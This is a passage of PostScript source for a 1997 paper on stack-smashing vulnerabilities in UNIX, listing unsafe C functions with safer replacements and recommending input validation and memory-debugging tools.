) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5611 7608 M (overflow ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6266 7608 M (exploits. ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6930 7608 M (A ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7104 7608 M (list ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7361 7608 M (of ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 7332 M (vulnerable ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1964 7332 M (function ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2574 7332 M (calls ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2935 7332 M (in ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3120 7332 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3379 7332 M (C ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3546 7332 M (programming ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4509 7332 M (language, ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5207 7332 M (and ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5503 7332 M (suitable ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6076 7332 M (replacement ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6946 7332 M (function ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 7056 M (\(if available\) is as follows:) ST GR GS GS 1463 6932 7237 1492 DOCLIPBOX n 1463 6932 M 7236 6932 L 7236 1493 L 1463 1493 L 1463 6932 L 7236 6932 L GS 0.0000 0.0000 0.0000 0.0000 SET_CMYK eofill GR GR GS 1463 6932 7237 1492 DOCLIPBOX n 1554 6842 M 7236 6842 L 7236 1493 L 1554 1493 L 1554 6842 L 7236 6842 L GS 0.0000 0.0000 0.0000 0.4314 SET_CMYK eofill GR 0.0000 0.0000 0.0000 0.0000 SET_CMYK S GR GS 1463 6932 7237 1492 DOCLIPBOX n 1470 6925 M 7151 6925 L 7151 1578 L 1470 1578 L 1470 6925 L 7151 6925 L GS 0.0000 0.0000 0.0000 0.0000 SET_CMYK eofill GR 14 setlinewidth 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont3p180000 SETFONT GS 1463 6932 7236 1493 DOCLIPBOX n 2189 6625 M (function) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS 1463 6932 7236 1493 DOCLIPBOX n 4187 6625 M (suitable replacement) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont5p120000 SETFONT GS 1463 6932 7236 1493 DOCLIPBOX n 2479 6125 M (gets\(\)) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS 1463 6932 7236 1493 DOCLIPBOX n 4468 6125 M (fgets\(\)) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS 1463 6932 7236 1493 DOCLIPBOX n 2472 5793 M (sprintf\(\)) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS 1463 6932 7236 1493 DOCLIPBOX n 2472 5494 M (strcat\(\)) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS 1463 6932 7236 1493 DOCLIPBOX n 4472 5494 M (strncat\(\)) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS 1463 6932 7236 1493 DOCLIPBOX n 2472 5196 M (strcpy\(\)) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS 1463 6932 7236 1493 DOCLIPBOX n 4472 5196 M (strncpy\(\)) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS 1463 6932 7236 1493 DOCLIPBOX n 2472 4897 M (streadd\(\)) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS 1463 6932 7236 1493 DOCLIPBOX n 2472 4599 M (strecpy\(\)) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS 1463 6932 7236 1493 DOCLIPBOX n 2472 4300 M (strtrns\(\)) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS 1463 6932 7236 1493 DOCLIPBOX n 2471 4001 M (index\(\)) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS 1463 6932 7236 1493 DOCLIPBOX n 2468 3703 M (fscanf\(\)) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS 1463 6932 7236 1493 DOCLIPBOX n 2472 3404 M (scanf\(\)) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS 1463 6932 7236 1493 DOCLIPBOX n 2472 3106 M (sscanf\(\)) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS 1463 6932 7236 1493 DOCLIPBOX n 2485 2807 M (vsprintf\(\)) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS 1463 6932 7236 1493 DOCLIPBOX n 2477 2508 M (realpath\(\)) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS 1463 6932 7236 1493 DOCLIPBOX n 2479 2210 M (getopt\(\)) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS 1463 6932 7236 1493 DOCLIPBOX n 2479 1911 M (getpass\(\)) ST GR GR %%PageTrailer AXPageSave restore showpage %%Page: 22 22 %%BeginPageSetup save /AXPageSave exch def DOSETUP %%EndPageSetup 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont1p100000 SETFONT GS n 1200 10624 M (Stack Smashing Vulnerabilities in the UNIX Operating System) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6811 10624 M (Page 9) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont3p100000 SETFONT GS n 3998 284 M (May 7, 1997) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3260 9874 M (Figure 11.1.a vulnerable functions in C) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont3p120000 SETFONT GS n 1700 9605 M (In ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1901 9605 M (general, ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2493 9605 M (functions ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3172 9605 M (that ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3481 9605 M (return ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3939 9605 M (a ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4073 9605 M (pointer ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4604 9605 M (to ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4793 9605 M (a ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4927 9605 M (result ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5357 9605 M (in ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5546 9605 M (static ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5957 9605 M (storage ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6498 9605 M (can ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6789 9605 M (be ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7006 9605 M (used ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7371 9605 M (in ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 9329 M (stack ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1602 9329 M (smashing ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2290 9329 M (exploits. ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2959 9329 M (In ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3157 9329 M (other ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3558 9329 M (terms, ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4030 9329 M (standard ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4653 9329 M (C ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4823 9329 M (function ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5436 9329 M (calls ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5800 9329 M (that ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6108 9329 M (copy ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6490 9329 M (strings ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6993 9329 M (without ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 9053 M (checking ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1905 9053 M (their ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2308 9053 M (length ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2821 9053 M (are ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3123 9053 M (insecure. ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3860 9053 M (Some ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4338 9053 M (vulnerable ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5138 9053 M (functions ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5855 9053 M (have ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6267 9053 M (suitable ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6882 9053 M (`drop ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7341 9053 M (i) ST -13 0 MR (n) ST -13 0 MR (' ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 8777 M (replacements, ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2189 8777 M (others ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2655 8777 M (do ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2880 8777 M (not. ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3235 8777 M (Whenever ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3978 8777 M (possible, ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4624 8777 M (alternative ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5385 8777 M (functions ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6063 8777 M (must ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6446 8777 M (be ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6662 8777 M (used ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7026 8777 M (to ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7214 8777 M (help ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 8501 M (insure ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1669 8501 M (that ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1968 8501 M (privileged ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2692 8501 M (code ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3056 8501 M (is ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3217 8501 M (not ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3479 8501 M (susceptible ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4268 8501 M (to ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4447 8501 M (stack ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4839 8501 M (smashing ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5518 8501 M (exploits. ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6178 8501 M (In ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6367 8501 M (addition ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6961 8501 M (to ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7140 8501 M (using ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 8225 M (suitable ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1806 8225 M (replacements ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2771 8225 M (for ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3052 8225 M (vulnerable ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3840 8225 M (functions, ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4587 8225 M (shell ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4987 8225 M (environment ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5914 8225 M (pointers ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6536 8225 M (and ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6862 8225 M (excessive ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 7949 M (command ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1914 7949 M (line ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2208 7949 M (arguments ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2947 7949 M (also ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3260 7949 M (need ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3619 7949 M (to ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3793 7949 M (be ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3995 7949 M (checked ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4585 7949 M (for ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4825 7949 M (invalid ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5331 7949 M (data. ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5737 7949 M (Recall ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6207 7949 M (that ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6501 7949 M (stack ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6888 7949 M (smashers ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 7673 M (are ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1492 7673 M (creative ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2097 7673 M (and ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2415 7673 M (often ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2835 7673 M (hide ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3199 7673 M (shell ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3591 7673 M (code ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3983 7673 M (and ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4301 7673 M (other ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4721 7673 M (crucial ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5252 7673 M (exploit ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5791 7673 M (information ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6655 7673 M (in ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6862 7673 M (excessive ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 7397 M (command ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1928 7397 M (line ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2245 7397 M (arguments ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3007 7397 M (or ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3214 7397 M (environment ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4123 7397 M (variables ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4792 7397 M (\(see ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5129 7397 M (figure ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5595 7397 M (7.a ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5862 7397 M (and ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6170 7397 M (section ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6709 7397 M (9.1\). ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7125 7397 M (Thus, ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 7121 M (securing ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1838 7121 M (source ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2339 7121 M (code ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2719 7121 M (must ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3109 7121 M (be ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3332 7121 M (a ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3472 7121 M (comprehensive ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4546 7121 M (process ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5112 7121 M (to ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5307 7121 M (be ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5530 7121 M (effective, ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6221 7121 M (and ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6527 7121 M (all ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6759 7121 M (avenues ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7361 7121 M (of ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 6845 M (unauthorized input must be inspected and properly terminated if invalid.) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1700 6569 M (Commercial ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2611 6569 M (programs ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3321 6569 M (such ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3706 6569 M (as ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3925 6569 M (CenterLine ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4754 6569 M (s) ST -2 0 MR (o) ST -3 0 MR (f) ST -3 0 MR (t) ST -3 0 MR (w) ST -3 0 MR (a) ST -3 0 MR (r) ST -3 0 MR (e) ST -3 0 MR (') ST -3 0 MR (s ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5503 6569 M (Code ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5934 6569 M (Center ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6458 6569 M (or ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6677 6569 M (Pure ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7063 6569 M (A) ST -4 0 MR (t) ST -4 0 MR (r) ST -4 0 MR (i) ST -4 0 MR (a) ST -5 0 MR (') ST -5 0 MR (s ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 6293 M (Purify, ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1763 6293 M (and ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2107 6293 M (non-commercial ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3303 6293 M (programs ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4037 6293 M (such ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4446 6293 M (as ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4689 6293 M (Brian ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5163 6293 M (M) ST -3 0 MR (a) ST -3 0 MR (r) ST -4 0 MR (i) ST -4 0 MR (c) ST -4 0 MR (k) ST -4 0 MR (') ST -4 0 MR (s ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5843 6293 M (GCT ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6280 6293 M (or ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6523 6293 M (Bruce ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7025 6293 M (P) ST -4 0 MR (e) ST -4 0 MR (r) ST -4 0 MR (e) ST -4 0 MR (n) ST -5 0 MR (') ST -5 0 MR (s ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 6017 M (ElectricFence ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2198 6017 M (can ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2505 6017 M (be ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2738 6017 M (used ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3119 6017 M (to ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3324 6017 M (assist ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3761 6017 M (programmers ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4727 6017 M (in ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4932 6017 M (locating ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5543 6017 M (buffer ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6027 6017 M (overflows ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6769 6017 M (and ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7085 6017 M (illegal ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 5741 M (function ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1816 5741 M (operations ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2570 5741 M (that ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2880 5741 M (standard ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3505 5741 M (C ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3677 5741 M (compilers ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4395 5741 M (do ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4622 5741 M (not ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4895 5741 M (look ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5251 5741 M (for. ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5591 5741 M (However, ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6304 5741 M (programs ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6995 5741 M (such ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7361 5741 M (as ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 5465 M (these ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1604 5465 M (can ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1887 5465 M (only ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2234 5465 M (catch ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2637 5465 M (overflow ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3290 5465 M (bugs ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3656 5465 M (reactively, ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4406 5465 M (not ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4670 5465 M (proactively; ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5558 5465 M (A ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5730 5465 M (test ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6013 5465 M (case ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6352 5465 M (must ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6728 5465 M (exist ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7094 5465 M (which ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 5189 M (provokes ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1886 5189 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2163 5189 M (stack ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2579 5189 M (smashing ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3282 5189 M (hole. ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3726 5189 M (Furthermore, ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4676 5189 M (many ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5120 5189 M (of ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5333 5189 M (these ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5749 5189 M (programs ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6453 5189 M (can ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6758 5189 M (offer ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7157 5189 M (more ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 4913 M (information ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2047 4913 M (than ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2385 4913 M (standard ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3001 4913 M (UNIX ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3469 4913 M (facilities ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4094 4913 M (while ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4515 4913 M (investigating ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5425 4913 M (a ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5551 4913 M (p) ST -3 0 MR (r) ST -3 0 MR (o) ST -3 0 MR (g) ST -3 0 MR (r) ST -3 0 MR (a) ST -3 0 MR (m) ST -4 0 MR (') ST -4 0 MR (s ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6263 4913 M (abnormal ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6944 4913 M (memory ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 4637 M (operations. ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1700 4361 M (As ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1963 4361 M (C ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2150 4361 M (debugging ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2927 4361 M (tools, ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3368 4361 M (these ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3786 4361 M (programs ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4492 4361 M (may ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4855 4361 M (offer ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5256 4361 M (more ) ST GR 0.0000 